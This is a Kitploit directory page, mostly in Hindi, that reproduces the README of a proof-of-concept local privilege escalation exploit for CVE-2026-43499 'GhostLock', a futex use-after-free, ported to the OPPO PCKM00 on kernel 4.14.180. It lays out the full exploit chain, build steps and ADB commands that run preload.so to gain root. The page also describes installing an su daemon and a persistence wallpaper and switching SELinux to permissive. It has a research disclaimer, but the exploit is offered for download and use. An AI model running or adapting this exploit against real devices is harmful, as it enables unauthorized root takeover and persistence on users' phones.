Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
GhostLock-OPPO-PCKM00 — OPPO PCKM00 (SM6150) / Linux 4.14.180 के लिए CVE-2026-43499 GhostLock futex UAF LPE PoC | Kitploit
उपकरण/GitHubGitHub/yijiacloud/ghostlock-oppo-pckm00
एंड्रॉइड सुरक्षाविशेषाधिकार वृद्धिस्थायित्व तंत्रभेद्यता विश्लेषणशोषणपोस्ट-शोषणमोबाइल सुरक्षापेलोड डेवलपमेंटबाइनरी शोषण
GitHubyijiacloud/ghostlock-oppo-pckm00

GhostLock-OPPO-PCKM00

OPPO PCKM00 (SM6150) / Linux 4.14.180 के लिए CVE-2026-43499 GhostLock futex UAF LPE PoC

82361 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें

GhostLock — OPPO PCKM00 (4.14.180) PoC

CVE-2026-43499 (GhostLock) — Linux kernel futex प्राथमिकता-विरासत use-after-free स्थानीय विशेषाधिकार वृद्धि PoC, जिसे OPPO PCKM00 (OP4A57, SM6150, Android 11, kernel 4.14.180-perf+) पर पोर्ट किया गया है।

DISCLAIMER / 免责声明 यह प्रोजेक्ट केवल अधिकृत सुरक्षा अनुसंधान और शैक्षिक उद्देश्यों के लिए है। इसका उपयोग किसी ऐसे डिवाइस पर न करें जो आपके स्वामित्व में न हो या जिसे परीक्षण के लिए स्पष्ट रूप से अधिकृत न किया गया हो। एक्सप्लॉइट चलाने से कर्नेल क्रैश हो सकता है। किसी भी दुरुपयोग या क्षति के लिए लेखक कोई दायित्व स्वीकार नहीं करता।

本项目仅用于授权的安全研究与教育目的。请勿在非本人所有或未获明确授权的设备上使用。运行利用可能导致内核崩溃,作者不承担任何滥用或损失的责任。


1. भेद्यता

CVE-2026-43499 (GhostLock) Linux kernel futex प्राथमिकता-विरासत कोड में एक use-after-free है। यह बग remove_waiter() के rt_mutex_start_proxy_lock() के proxy-lock rollback पथ में गलत उपयोग में निहित है। मुक्त किया गया rt_mutex_waiter (जो कर्नेल स्टैक पर आवंटित होता है) को pselect() द्वारा कॉपी किए गए हमलावर-नियंत्रित fd_set के रूप में पुनः व्याख्यायित किया जाता है, जिससे एक मनमाना-लेखन (arbitrary-write) प्रिमिटिव प्राप्त होता है।

प्रभावित सीमा: Linux 4.x–6.x (2011 में शुरू किया गया)। 4.14 श्रृंखला पूरी तरह प्रभावित है। पूर्ण विश्लेषण और सत्यापित सिंबल ऑफसेट के लिए report.md देखें।

एक्सप्लॉइट श्रृंखला

futex requeue-pi UAF
   └─> pselect fd_set stack copy (fake rt_mutex_waiter / fake task)
         └─> arbitrary write (rt_mutex tree ops / sched_setattr)
               └─> overwrite ashmem_fops -> configfs bin read/write
                     └─> pipe_buffer page rewrite (physical RW primitive)
                           └─> patch current task cred -> root

PoC पूरी तरह से userspace में LD_PRELOAD के माध्यम से चलता है — डिवाइस रीबूट की आवश्यकता नहीं (जब तक कि कर्नेल पैनिक न हो जाए)।


2. लक्ष्य

FieldValue
DeviceOPPO PCKM00 / OP4A57
SoCQualcomm SM6150
Android11 (RKQ1.200903.002)
Security patch2022-09-05
Kernel4.14.180-perf+ (arm64, clang 10.0.7)
BuildOPPO/PCKM00/PCKM00:11/RKQ1.200903.002/1635513065:user/release-keys

अन्य 4.14 डिवाइसों पर पोर्ट करने के लिए: exploit/targets/oppo-pckm00/target.h कॉपी करें और अपने कर्नेल इमेज से सिंबल ऑफसेट पुनः जनरेट करें (analysis/ देखें)।


3. रिपॉज़िटरी लेआउट

.
├── report.md                    # Full vulnerability analysis & verified offsets
├── exploit/
│   ├── Makefile                 # Build preload.so (Windows NDK / WSL)
│   ├── src/
│   │   ├── preload.c            # LD_PRELOAD entry + forced disk logging + su
│   │   ├── main.c               # Orchestration (waiter/owner/consumer threads)
│   │   ├── slide.c              # KASLR leak (boot_id / nfulnl loggers)
│   │   ├── fops.c               # ashmem_fops overwrite + configfs primitive
│   │   ├── pipe.c               # pipe_buffer physrw primitive
│   │   ├── root.c               # task walk + cred patch + seccomp/selinux
│   │   ├── util.c               # kernelsnitch, skb page prep, kernel RW
│   │   ├── su_daemon.c          # embedded su server (drop-in)
│   │   ├── su_blob.S            # .incbin of su_daemon
│   │   └── wallpaper_blob.S     # .incbin of wallpaper payload
│   ├── targets/oppo-pckm00/target.h   # 4.14.180 symbol/struct offsets
│   └── assets/wallpaper.webp    # embedded wallpaper payload
├── analysis/                    # kernel image / kallsyms extraction scripts
└── LICENSE                      # Apache-2.0 (same as upstream GhostLock)

4. बिल्ड

Android NDK r29 (aarch64-linux-android30-clang) आवश्यक है।

Windows NDK

set NDK=C:\path\to\android-ndk-r29
make NDK=%NDK%

WSL (अनुशंसित)

# put NDK at /opt/ndk/android-ndk-r29 (linux-x86_64 toolchain)
cd exploit
make wsl
# or directly:
bash ../analysis/build_preload.sh

आउटपुट: exploit/preload.so (64-bit aarch64 ELF shared object)।

बिल्ड su_daemon.c को PIE बाइनरी में भी कंपाइल करता है और इसे (साथ ही वॉलपेपर को) .S ब्लॉब्स के माध्यम से .so में एम्बेड करता है।


5. उपयोग (ADB)

5.1 पेलोड पुश करें

# binary only (works from a release asset or a local build)
adb push preload.so /data/local/tmp/preload.so

# or with the repo layout
adb push exploit/preload.so /data/local/tmp/preload.so
adb shell chmod 755 /data/local/tmp/preload.so

5.2 चलाएँ

.so को LD_PRELOAD के माध्यम से sh प्रोसेस में लोड किया जाता है; इसका कंस्ट्रक्टर पूरी एक्सप्लॉइट श्रृंखला चलाता है और परिणाम रिपोर्ट करता है:

adb shell LD_PRELOAD=/data/local/tmp/preload.so id

सफल होने पर शेल रिपोर्ट करता है:

uid=0(root) gid=0(root) ...
[+] ROOT OK pid=<pid> uid=0

वर्तमान प्रोसेस (और उसके चाइल्ड) अब root हैं। एक su डेमन /apex/com.android.virt/bin/su पर इंस्टॉल किया जाता है (वैकल्पिक रूप से /data/local/tmp/su पर) और एक एम्बेडेड वॉलपेपर को persistence/verification artifact के रूप में लागू किया जाता है।

5.3 सत्यापन

# from a new shell after the run
adb shell su -c 'id'

# or grab a root shell session (interactive su client)
adb shell /data/local/tmp/su

# check SELinux was toggled permissive (if the selinux path was hit)
adb shell getenforce

5.4 फोर्स्ड रियल-टाइम डिस्क लॉगिंग

सभी pr_* डायग्नोस्टिक्स /sdcard/Download/log_<timestamp>.txt में भी लिखे जाते हैं (वैकल्पिक रूप से /data/local/tmp/log_<timestamp>.txt में), प्रत्येक पंक्ति पर O_SYNC + fsync() के साथ ताकि कर्नेल पैनिक / रीबूट के बाद भी लॉग सुरक्षित रहें:

adb pull /sdcard/Download/log_*.txt
# or if /sdcard is not mounted early
adb pull /data/local/tmp/log_*.txt
adb shell cat /sdcard/Download/log_*.txt

लॉग प्रत्येक चरण (KASLR slide, fops overwrite, pipe physrw, cred patch) और अंतिम uid_after / ROOT OK पंक्ति दिखाता है — किसी समस्या की रिपोर्ट करते समय इसे संलग्न करें।

5.5 सफ़ाई

adb shell rm -f /data/local/tmp/preload.so /data/local/tmp/log_*.txt
adb shell rm -f /data/local/tmp/su /data/local/tmp/temp_su.sock /data/local/tmp/su_daemon.log
adb reboot   # if SELinux/cred state or the wallpaper was modified

नोट: एक्सप्लॉइट चलाने से कर्नेल क्रैश हो सकता है। यदि adb डिस्कनेक्ट हो जाए, तो डिवाइस के रीबूट होने की प्रतीक्षा करें, फिर /sdcard/Download/log_*.txt पुल करें — फोर्स्ड O_SYNC/fsync लॉगिंग ही वह चीज़ है जो पैनिक के बाद बची रहती है।


6. नोट्स और सीमाएँ

  • KASLR: PoC boot_id/nfulnl logger पथ (slide.c) के साथ-साथ एक ashmem_fops सत्यापन पास (fops.c) के माध्यम से slide लीक करता है।
  • इस पोर्ट में 4.14 बनाम 6.x अंतर संभाले गए:
    • configfs लेगेसी .read/.write का उपयोग करता है (read_iter/write_iter नहीं),
    • ashmem_fops में show_fdinfo नहीं है,
    • generic_file_splice_read copy_splice_read को प्रतिस्थापित करता है,
    • selinux_enforcing struct selinux_state के अंदर रहता है,
    • 4.14 rt_mutex_waiter / pipe_inode_info / cred लेआउट।
  • कुछ struct ऑफसेट (जैसे task_struct.seccomp) best-effort हैं; seccomp को पैच करने में विफलता cred-overwrite root को नहीं रोकती।
  • एक्सप्लॉइट चलाने से कर्नेल पैनिक ट्रिगर हो सकता है (लक्ष्य पर ~5s में ~97% विश्वसनीयता); एक पृथक डिवाइस का उपयोग करें।

7. श्रेय

  • NebuSec — मूल GhostLock अनुसंधान और एक्सप्लॉइट फ्रेमवर्क (IonStack/CVE-2026-43499), Apache-2.0। https://github.com/NebuSec/CyberMeowfia
  • KernelSnitch (futex hash side-channel) अपनी upstream शर्तों के अंतर्गत एम्बेडेड है।

लाइसेंस

Apache-2.0 — देखें LICENSE।

टूल डाउनलोड करें